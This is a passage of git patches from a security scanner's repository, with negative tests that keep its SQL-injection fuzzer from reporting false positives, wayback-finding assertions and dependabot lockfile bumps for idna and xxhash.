", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a length-keyed status flip: {findings}" + + +# SQLi negative test: the parameter never reaches a query, and the app reflects it HTML-escaped. +# The escaped reflection differs between the TRUE and FALSE boolean payloads, so unless every +# escape spelling is stripped, the reflection itself reads as a boolean differential. +class Test_Lightfuzz_sqli_escaped_reflection_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response("

Bad Request

", status=500) + # the Jinja/ASP.NET spelling, deliberately not the one html.escape() produces + reflection = html.escape(value).replace("'", "'") + return Response(f"

0 results for: {reflection}

", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from an HTML-escaped reflection: {findings}" + + # Verify that POST SQLi findings include additional_params in the description class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): targets = [HTTPSERVER_URL] @@ -4161,8 +4169,7 @@ class Test_Lightfuzz_sqli_post_additional_params(ModuleTestBase): }, } - def request_handler(self, request): - parameter_block = """ + parameter_block = """ """ - if "search" in request.form.keys(): - value = request.form["search"] - if value.endswith("'"): - if value.endswith("''"): - return Response("

normal

", status=200) - return Response("

error

", status=500) - return Response("

results

", status=200) - return Response(parameter_block, status=200) + + def request_handler(self, request): + return sqli_injectable_response(request.form.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 1525b9d087..e5ca282644 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -134,6 +134,17 @@ def check(self, module_test, events): assert "web.archive.org" not in e.data["url"], ( f"FINDING url should NOT be an archive.org URL, got: {e.data['url']}" ) + # the evidence is a snapshot, not the live host, and that has to be visible + # without reading discovery_path + assert e.archive_url, f"FINDING from archived content has no archive_url: {e.tags}" + assert e.pretty_string.startswith("[ARCHIVED] "), ( + f"FINDING from archived content is not marked as archived: {e.pretty_string}" + ) + # the snapshot URL has to survive into output.txt and output.json + assert e.data_human.endswith(f"(archived: {e.archive_url})"), ( + f"output.txt is missing the archive URL: {e.data_human}" + ) + assert e.json()["archive_url"] == e.archive_url # web.archive.org should NOT appear as a DNS_NAME event assert not any(e.type == "DNS_NAME" and e.data == "web.archive.org" for e in events), ( "web.archive.org should not leak as a DNS_NAME event" From a394d12e20be9b26ab305d0f752c3a5b13a14bcf Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 26 Aug 2026 18:00:11 -0400 Subject: [PATCH 062/256] Bump idna from 3.18 to 3.19 (#3399) Bumps [idna](https://github.com/kjd/idna) from 3.18 to 3.19. - [Release notes](https://github.com/kjd/idna/releases) - [Changelog](https://github.com/kjd/idna/blob/master/HISTORY.md) - [Commits](https://github.com/kjd/idna/compare/v3.18...v3.19) --- updated-dependencies: - dependency-name: idna dependency-version: '3.19' dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Paul Mueller --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index c096b87127..a36ceec383 100644 --- a/uv.lock +++ b/uv.lock @@ -1280,11 +1280,11 @@ wheels = [ [[package]] name = "idna" -version = "3.18" +version = "3.19" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15", size = 215237, upload-time = "2026-08-18T05:14:24.27Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, + { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", size = 68550, upload-time = "2026-08-18T05:14:22.343Z" }, ] [[package]] From cd4284c8e148de5bcffda74da8ef4cc497b88b25 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 28 Aug 2026 14:13:12 -0400 Subject: [PATCH 063/256] Bump xxhash from 4.0.0 to 4.0.1 (#3392) Bumps [xxhash](https://github.com/ifduyue/python-xxhash) from 4.0.0 to 4.0.1. - [Release notes](https://github.com/ifduyue/python-xxhash/releases) - [Changelog](https://github.com/ifduyue/python-xxhash/blob/master/CHANGELOG.rst) - [Commits](https://github.com/ifduyue/python-xxhash/compare/v4.0.0...v4.0.1) --- updated-dependencies: - dependency-name: xxhash dependency-version: 4.0.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 296 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 148 insertions(+), 148 deletions(-) diff --git a/uv.lock b/uv.lock index a36ceec383..7baa90a10e 100644 --- a/uv.lock +++ b/uv.lock @@ -3477,154 +3477,154 @@ wheels = [ [[package]] name = "xxhash" -version = "4.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/58/6f/4d42b20b0dc688552f568e356e7d55b8ea18092eb79c78e40a96f59e7e12/xxhash-4.0.0.tar.gz", hash = "sha256:6b4040b26c73c75e6c12273b0ae237f9235f39cce5fabb683a64e9f20d09df8b", size = 100993, upload-time = "2026-08-12T16:59:59.89Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/63/a7/35ba744acf16381b269d2b367dbdc59ef48fa2521e52f05bd436b7466711/xxhash-4.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:753cebce949f8e8c54e5fcfaee8d0c3b16c7015b63fd2c7e583143d9a268c78a", size = 38083, upload-time = "2026-08-12T16:52:43.715Z" }, - { url = "https://files.pythonhosted.org/packages/a3/e3/e19896b868bf3f0047ed66de387a102f9dcfdd5429d2a61c4f67cd9eed20/xxhash-4.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b403b36648e4593689ba4401796c7834d6a908dd9cd3567c8d85e486346c9446", size = 35927, upload-time = "2026-08-12T16:52:50.003Z" }, - { url = "https://files.pythonhosted.org/packages/0f/1d/fbb54a21c59aa281c674a84ec8ecc3dbbf8381f3eb884c087217b3f28db4/xxhash-4.0.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f3a9c5bebf0c40ec933992b6a578530b44e2cdcdd1fbb9c4004be752b496db49", size = 242845, upload-time = "2026-08-12T16:52:45.117Z" }, - { url = "https://files.pythonhosted.org/packages/5e/c4/065890de07233ec559481cc1cb28dc2dc0645748bc8d5a7fe98668987ba3/xxhash-4.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f80c50793ee34b72292ee695a935182bcb097846316957bd26daccdf1164d423", size = 265776, upload-time = "2026-08-12T16:52:46.402Z" }, - { url = "https://files.pythonhosted.org/packages/3d/ad/02e596eccdf4facbdb380256ca522ab081e2b49aaa718d71a4ef66a6709e/xxhash-4.0.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2ea6a85f49c2959121440372967042b9808f8ffa43c90f47b38dc2ba3aee7a95", size = 287000, upload-time = "2026-08-12T16:53:00.22Z" }, - { url = "https://files.pythonhosted.org/packages/cd/a9/37f1bad31a1b0a2d22795c9fffbcfa7560234ce390e3ff58d4309c446411/xxhash-4.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ab3090bdf3a2cfc58041a491012e8eb63f9e41ac02e8dff6f0094853f93dfa2", size = 270333, upload-time = "2026-08-12T16:52:44.854Z" }, - { url = "https://files.pythonhosted.org/packages/41/5f/2d7358865c1fd06903aceeb9612e03413ed32682ba6a96efa2b3216bea4f/xxhash-4.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0000c53562673f5b7b2e9ac744efde362781b5914975c0828327f42a2c1269a8", size = 497460, upload-time = "2026-08-12T16:52:45.039Z" }, - { url = "https://files.pythonhosted.org/packages/17/2a/a6fd74537c72d3fac51f4581b3113a4e881670bf101ecacd32d549a0f308/xxhash-4.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e6e3ef0a8df99291019000b594d7cd21d1b638e4fc4234c9b7f43eb7838c8c3", size = 249178, upload-time = "2026-08-12T16:52:45.021Z" }, - { url = "https://files.pythonhosted.org/packages/98/e9/6a0d9cdd601e0b99f866b4356d427ca2a130070ec3464cf6ed711baee9bd/xxhash-4.0.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:013feb67c7b83cf6fd55d013d4217edb68d7d3b86ef9d53f80d9aac7f440e4a9", size = 333009, upload-time = "2026-08-12T16:53:00.039Z" }, - { url = "https://files.pythonhosted.org/packages/13/d0/1a7207a5c8ad2bf5a328bc547de80782e340c4264da78095133f11ef4ada/xxhash-4.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:86d8c11b5fcbd97e2d6a8705ad8772e3e2e4c6eae592ee167928d2feaa930040", size = 262158, upload-time = "2026-08-12T16:52:49.231Z" }, - { url = "https://files.pythonhosted.org/packages/da/7a/11d1a989982d265ce3b4b288f2a1269c0508f2ab705f83a16e5f2df940fc/xxhash-4.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ec072557f5f4c5eeb6ae724820867e20759b979e7e11a714508dd70cd3641166", size = 289014, upload-time = "2026-08-12T16:52:48.455Z" }, - { url = "https://files.pythonhosted.org/packages/3e/2e/2360a635a249aff94514b8a8cacf021085d3da9820032f806c75414716e3/xxhash-4.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:1cffda52b73a9369ef9d521416f5b995a21b09f222701f6c9ce700ba84931d9c", size = 247629, upload-time = "2026-08-12T16:53:08.198Z" }, - { url = "https://files.pythonhosted.org/packages/72/9d/aa944d7fe4eb3ee6bf697c32e092744deccd5f4721f928fb0f703c9edaf5/xxhash-4.0.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:5036cdbc161cf5a2751f7caa54f94c1d9f405436a08c4221dec12491a17a3235", size = 267531, upload-time = "2026-08-12T16:52:46.108Z" }, - { url = "https://files.pythonhosted.org/packages/d3/85/484493315182da4c26a645e749f84d42474c0082cefb08d97c89debf7706/xxhash-4.0.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:422feffe2bdaebc2f173dcc94ea3a6ba7710163c3c00b9bc9bd47d77a9c61d83", size = 322191, upload-time = "2026-08-12T16:52:46.965Z" }, - { url = "https://files.pythonhosted.org/packages/2e/f8/cc5c757db7ecfed7415614d5f44f15a0a2d2bb0e1fdfb18e23519d724c33/xxhash-4.0.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6a9dd076149afe335505b880d8c9ebf578cc770d296379d9f58688f70c73a620", size = 466022, upload-time = "2026-08-12T16:52:47.781Z" }, - { url = "https://files.pythonhosted.org/packages/6e/a0/403613a07590bfe733a18f3c352e52982b6b7811b6e771df2b5bfbf80c51/xxhash-4.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:980bedbeb1ed99f1febca84900aa201c7978fd43894bfa2feff9def46f3e8b10", size = 245777, upload-time = "2026-08-12T16:53:11.528Z" }, - { url = "https://files.pythonhosted.org/packages/29/3c/cbc896acc48429b4941d9b4ba2db62b2b49ddeacacd89c0baccc0155f52d/xxhash-4.0.0-cp310-cp310-win32.whl", hash = "sha256:083551d29935553b203454995a1e07e9bd6d2ebaccb6eaa25f69c6fd112ce779", size = 34288, upload-time = "2026-08-12T16:52:56.767Z" }, - { url = "https://files.pythonhosted.org/packages/3d/20/be9a63dde10cc1d9c053a3c02da81da99828cdf2a73a1cb7cdd9f3cf561e/xxhash-4.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:5ac7166fcc0b76989bc313658339ea54a6cc9c96f01b04b3f96373f63709fa39", size = 36718, upload-time = "2026-08-12T16:53:06.151Z" }, - { url = "https://files.pythonhosted.org/packages/2a/85/e915df396b2f17ce2dd9708e053773970dcdc4a31f29ec95a6a7908c867d/xxhash-4.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:c32bfed9e5f139df55fa5e8c1e568712ac13628d6373cd1cfd9657dbd0fc1fd3", size = 32956, upload-time = "2026-08-12T16:53:36.761Z" }, - { url = "https://files.pythonhosted.org/packages/40/9f/3736468bf0680ede8d93a488eba7dac58ca2ff25d6bff168810f7528c300/xxhash-4.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7ce6de9166b8a8c1c29d5eab91b508f4c31ae3ff8626a3ed65bd2cbbe64a40", size = 38087, upload-time = "2026-08-12T16:53:10.683Z" }, - { url = "https://files.pythonhosted.org/packages/23/27/a1370dc53ae4c10efe0eef02dfc57a613b4e104073a335fa88c3983e8b12/xxhash-4.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3b783b3b8a7c6cb79be6be6c32cc0f9c2dc3bbf4beb013bece39b4f8fcb2b4de", size = 35925, upload-time = "2026-08-12T16:52:51.017Z" }, - { url = "https://files.pythonhosted.org/packages/d8/87/f0703078a7cae7caf210d77ad6a2d91509434c1c1496233bb304e1202933/xxhash-4.0.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:601b3c3b09b44ed2ada35674bcb19c435ba9203862a4832731384269391bfed9", size = 252935, upload-time = "2026-08-12T16:52:50.195Z" }, - { url = "https://files.pythonhosted.org/packages/a2/ec/f472a6bc86208de130b2317af1aefe08d5139bd06696e7e920cf47d8b6bb/xxhash-4.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7e38e909ed1d5a86511bf2fc57891d0fea5ef64063cf7995bf954cef2365b2b", size = 276246, upload-time = "2026-08-12T16:53:14.475Z" }, - { url = "https://files.pythonhosted.org/packages/74/7c/4ff4ad2f16169070461460bdb99568eebd167932d8145f793d1cdba8077c/xxhash-4.0.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:492f267d1dedeef7c44310e60a08f38f34db75ed373062fafe68aa09801e4281", size = 295909, upload-time = "2026-08-12T16:53:08.962Z" }, - { url = "https://files.pythonhosted.org/packages/17/1d/417266187a86a340f4b8ec55d16844cbc53c20fd0503e7fb5b7a07aabd55/xxhash-4.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2bc28050a61684f1c825ca72be56eefe1421112d1ccceb4eb99d86b52aa4c56", size = 279566, upload-time = "2026-08-12T16:53:22.923Z" }, - { url = "https://files.pythonhosted.org/packages/78/2a/c5e4987c4fa758bcaaa6fe320ecde667380e93ae206f36daa37c4545cc8f/xxhash-4.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97730a254c3d11e43dffa815a9837a622d7f2a30a9d897bd29184d5589b7dc25", size = 509522, upload-time = "2026-08-12T16:54:01.123Z" }, - { url = "https://files.pythonhosted.org/packages/61/d7/1a3e8044c94053e8230ae746218741dcad2e67ceb4ce3d55bc85f923f406/xxhash-4.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:baa9828055ebaa00b95523aabef7504c3d1685bfab48b7c2ed15d0ba56269708", size = 260625, upload-time = "2026-08-12T16:53:19.979Z" }, - { url = "https://files.pythonhosted.org/packages/24/07/05186cfaa8410f5f6d14a691db021d930a84bc2205e45d6bed61078b8af5/xxhash-4.0.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:23ec6388d554e523bc06bf40dbf2dd09b74af246a6f2a6a17223a16fc575f676", size = 339347, upload-time = "2026-08-12T16:52:57.801Z" }, - { url = "https://files.pythonhosted.org/packages/3e/17/7628c83969d68287fb174aa3b993c5147c578ae60856f72ffad488cd1684/xxhash-4.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c1d56a5c9fb9c6c6a6eaf0adbe398c57ab6e89348a83cb99d230a52668cea557", size = 272193, upload-time = "2026-08-12T16:52:58.823Z" }, - { url = "https://files.pythonhosted.org/packages/a7/18/ded75ea5a74b8538d75e825558dbc0304726509890980edf0dd9884f3a02/xxhash-4.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:681892a96f5727e4a082af13fb75c1cbf1ef66f2d56cadeddf31db6bbaa09945", size = 300004, upload-time = "2026-08-12T16:53:18.853Z" }, - { url = "https://files.pythonhosted.org/packages/7a/c5/5215550ec7690a9dbc406a6e29cb77a130bdb1942fb639d6fbf2005f11e6/xxhash-4.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4395c0a03a1336915c677fc71e1693afb1317751ea80c130b23d6292d14f75fe", size = 258893, upload-time = "2026-08-12T16:53:41.076Z" }, - { url = "https://files.pythonhosted.org/packages/d7/a0/8d7a0addb64e32762af3f5e7838e1808a6997a516a2493648d651ba795c1/xxhash-4.0.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:2987f0908d5e3908bc1949a0ca4f465583ba55befad5899581edfb6b59441f56", size = 277785, upload-time = "2026-08-12T16:59:00.01Z" }, - { url = "https://files.pythonhosted.org/packages/13/1c/62dd9957ed770b2ef5f8fc0527442975afd4055921ba009fef54d54f0b79/xxhash-4.0.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:3de54ba80c88096fbcca29e3b255989b3bca02e47a976bf9303de2f36261c57f", size = 329548, upload-time = "2026-08-12T16:54:05.821Z" }, - { url = "https://files.pythonhosted.org/packages/30/c7/329ba182d0fdc65fce8057fa9bc0d8979e7bd31cd4cfbc4fd991d1db2db0/xxhash-4.0.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:0a9d3fc725df9b0029094dbbe700a5d4633881f2afb87392ce5860388c22bebd", size = 477008, upload-time = "2026-08-12T16:53:37.32Z" }, - { url = "https://files.pythonhosted.org/packages/81/c9/f9041891290b403d07de8cdc66da95289e6b407bc83d16be62a6acaad5f1/xxhash-4.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:84e0b626285289e40be24eefd51ab9fef9bc6373f4025c3271b3b0e3a2ac78f3", size = 257166, upload-time = "2026-08-12T16:53:07.244Z" }, - { url = "https://files.pythonhosted.org/packages/ee/ae/6f0f310ea658e83df21f171fed313f6be01fe918a2eec76c4ea549b79233/xxhash-4.0.0-cp311-cp311-win32.whl", hash = "sha256:6ec7a1b252ba32719605ecc2f9bd4230fdb3b5f0bb424c671961d21dd0acf7db", size = 34287, upload-time = "2026-08-12T16:53:09.692Z" }, - { url = "https://files.pythonhosted.org/packages/02/cc/3702bf613a42923627bbad08b434237cef9b525b00341207496548cb10af/xxhash-4.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:50cf753d4d93797c2d32a72c305ab7017af4bae9bb6c999222fb29d9ea9961f7", size = 36653, upload-time = "2026-08-12T16:53:29.162Z" }, - { url = "https://files.pythonhosted.org/packages/6c/5e/d0ccb316354dbf7d5868896e5d87bceb6f50710d6b386159294a4da4679e/xxhash-4.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:460146a030d3dfcd6cd08a0bb45c2fe10f04026f80ac16ae42a846e8d850f0ce", size = 32958, upload-time = "2026-08-12T16:53:46.82Z" }, - { url = "https://files.pythonhosted.org/packages/19/d9/493e761ee66047de5d15b7b5137972bf26d889eb58e49b1f18e2f35cea6e/xxhash-4.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8d58ab471ab4442ac29ce225edf496f40d136dba552b0a718c796d14b71550b0", size = 38115, upload-time = "2026-08-12T16:59:02.316Z" }, - { url = "https://files.pythonhosted.org/packages/87/7b/a03aca88de3fae90f619ef6acd72b90e4b06e840a66ed4574558c29a080b/xxhash-4.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d3a42fa24a47961e38ace7e4675680eb3cbd024588eb0dbc9dfbd009f4dce6bd", size = 35932, upload-time = "2026-08-12T16:54:12.151Z" }, - { url = "https://files.pythonhosted.org/packages/e9/b4/8e935dc765a3018ada3da2455eed2e878c6cb686a9c01b3db1619a7c79b5/xxhash-4.0.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e4c6eca223bcd94a9a5d291512114364facc5c4738c0d468ced386e88fa9071b", size = 252775, upload-time = "2026-08-12T16:53:43.21Z" }, - { url = "https://files.pythonhosted.org/packages/f4/aa/7c1cbcf64d8c5e9ea23808356af91a158e891e08d8f206884ceaf0425d61/xxhash-4.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7264a1a8bc4cda273347b6fead2a15c1fc070736160fe927867279a9d991604a", size = 276218, upload-time = "2026-08-12T16:53:12.936Z" }, - { url = "https://files.pythonhosted.org/packages/07/a3/5ffcecc8fb1480f147a5396ae52b27a9b519092d0ba31a4c614a5a0ecc57/xxhash-4.0.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7f9a849a801557a3a2dc9226dfd11b6911c766cb3f16d36822488204788de65b", size = 297412, upload-time = "2026-08-12T16:53:38.689Z" }, - { url = "https://files.pythonhosted.org/packages/5b/90/c4067783a921aa055372bf2f66fccec0bb4fd06edd6ab3b752b973492d05/xxhash-4.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f9a33820c448e9fa3a720396d90ae3eff7dfa942d86af855965a095f954d0ac7", size = 279882, upload-time = "2026-08-12T16:53:38.703Z" }, - { url = "https://files.pythonhosted.org/packages/d1/0c/a777dbcd2f10517a0f49cd276b9c6a2d1f30cc0bde0f67da65b56849a646/xxhash-4.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:76989952a47452f66ac213779b62961b8e489c98f45c4ea7d7dea9115a00d06f", size = 510640, upload-time = "2026-08-12T16:54:01.844Z" }, - { url = "https://files.pythonhosted.org/packages/22/bb/4148016c68211d8cc348eabe06e40686c71c4f7b336261f4b4e72d2d46ab/xxhash-4.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c72ee49f74745e554226018e56dd93d4ff924dfa870d119a59828d29080853", size = 261458, upload-time = "2026-08-12T16:59:04.292Z" }, - { url = "https://files.pythonhosted.org/packages/72/dc/170ee0593a11c472e32b745b6a300f2eaf531347d1053bbc411f24d3071e/xxhash-4.0.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9335b632cdec5498068372b75ab18a6c1905eb51ba76c727db46080b66ef7d4f", size = 339621, upload-time = "2026-08-12T16:54:31.079Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8b/b31e1be5d3f892eb8fa306d1bfbe7c1c5c4d6011e045351434278c2526d3/xxhash-4.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b939f78096460a1e3905cd92815d01fde6fb2c54a544daf8ea03a1fded41d74b", size = 272552, upload-time = "2026-08-12T16:53:48.526Z" }, - { url = "https://files.pythonhosted.org/packages/f0/1f/82830fa11afb369ae8ab0692d316e68be6128d12756e22d23d0f7a5b34aa/xxhash-4.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:7d6fe512a9c84e5031d1b97c7b931c7694ba7f10f44bf4466c219f468f0ed749", size = 301046, upload-time = "2026-08-12T16:53:30.172Z" }, - { url = "https://files.pythonhosted.org/packages/a0/c0/b081f9ae955d452be3b8f3c17ef8d5d4484606ea871c45f73046d9eaf438/xxhash-4.0.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5a9656d42c8e87013655a8a668a870222235ae26cbaae69c922b12c66b672f38", size = 259794, upload-time = "2026-08-12T16:53:52.134Z" }, - { url = "https://files.pythonhosted.org/packages/1e/01/b35974b9890d5d1d83c325220f9e98482c54109a4e98e3596b9464de4813/xxhash-4.0.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:14b91efc9fc7072ee22b4ce0c778d41e53dd2d45ca5b16fdfe8cf33ebad3c386", size = 277906, upload-time = "2026-08-12T16:53:50.359Z" }, - { url = "https://files.pythonhosted.org/packages/84/95/78d8a7228a9caa65e7adcfe0a72c160b2e739930f90ae0b4267386d8510e/xxhash-4.0.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7e07cba198b78fef4ea81b219058ee3e9ed8d612b055e0388b205a3f20e1b70e", size = 329997, upload-time = "2026-08-12T16:54:06.363Z" }, - { url = "https://files.pythonhosted.org/packages/3c/84/29f5bbbcc14a56ccfa4fe0e025ce2fa55ee4b40485a268c828c47ce52405/xxhash-4.0.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:963e5b1f0152193703997eabcdb7320c0d2e3f934a00be03a25dac4fb4af66dd", size = 478204, upload-time = "2026-08-12T16:59:07.4Z" }, - { url = "https://files.pythonhosted.org/packages/b0/13/56da2f5d5f2eb28b64aca54240e555221a8e2292644b60a73f46dfaaacb5/xxhash-4.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bc49915f326b888773979381140eb1a5e804fbc872670f6a2d36d8d421225a2a", size = 257845, upload-time = "2026-08-12T16:54:42.948Z" }, - { url = "https://files.pythonhosted.org/packages/f7/80/65141cc3d3e6b0cd52b4c7d9af32a6fbc3ea223995cfabf406b2f589e0c1/xxhash-4.0.0-cp312-cp312-pyemscripten_2024_0_wasm32.whl", hash = "sha256:89bc01208487b7f4b0b636b4e8b809ec3c41644fc38487394d9faf9570d4795b", size = 20416, upload-time = "2026-08-12T16:54:03.689Z" }, - { url = "https://files.pythonhosted.org/packages/dd/cb/8e261dc126968573b999908fdc091705e850337af24a3492f44b3d48de58/xxhash-4.0.0-cp312-cp312-win32.whl", hash = "sha256:453c9bff5e2c6a2b938704e41965c65d1339a2e07817e1cacaf239c330af4d5e", size = 34309, upload-time = "2026-08-12T16:54:04.695Z" }, - { url = "https://files.pythonhosted.org/packages/ff/bb/edec8f095a24a331293fbdacbed9addc4f5a6f2e2f88c3ed539d7cbdb438/xxhash-4.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:4f8515f2e70a98382adf2c1b1e413f3bfa46a3cb1b35752928265577f958f1da", size = 36739, upload-time = "2026-08-12T16:54:02.85Z" }, - { url = "https://files.pythonhosted.org/packages/f1/c8/42de8febea42413de52b2d1ac5bf0081aba71c37705a3565c0c021f46bc0/xxhash-4.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:63f3cac239fcdcdcbc56cbaf5b5164f056e8a2b1e06d61436c134628743eabfa", size = 32970, upload-time = "2026-08-12T16:54:28.673Z" }, - { url = "https://files.pythonhosted.org/packages/af/34/1a6f7f86d94084ded050f6f7b3dadb6103d8cce0bc2022f7f45f003d4b97/xxhash-4.0.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:3ad3124acd9ae0c8d069cd1879e453ded1d5b72024b1f7a90cf8fb1d30f9681a", size = 43233, upload-time = "2026-08-12T16:54:14.472Z" }, - { url = "https://files.pythonhosted.org/packages/aa/fa/e71472c0af1c6cd710f50fdda7cd0fe2931977c40845dcf3d45ef93fd633/xxhash-4.0.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:abeae2d9e797f7bdd627df6785d4839517d1f67a0f91deb4da27ab3417e5c56c", size = 40311, upload-time = "2026-08-12T16:59:10.158Z" }, - { url = "https://files.pythonhosted.org/packages/3e/fe/3456e5d85a89d6421d009ca97fb77a9f5cefc5c8d465232be51aa39ac591/xxhash-4.0.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cdf3a9494a0418d37cb1d7b490620b331b09167e5923fcde9d0bc759a87e33dc", size = 34376, upload-time = "2026-08-12T16:54:45.456Z" }, - { url = 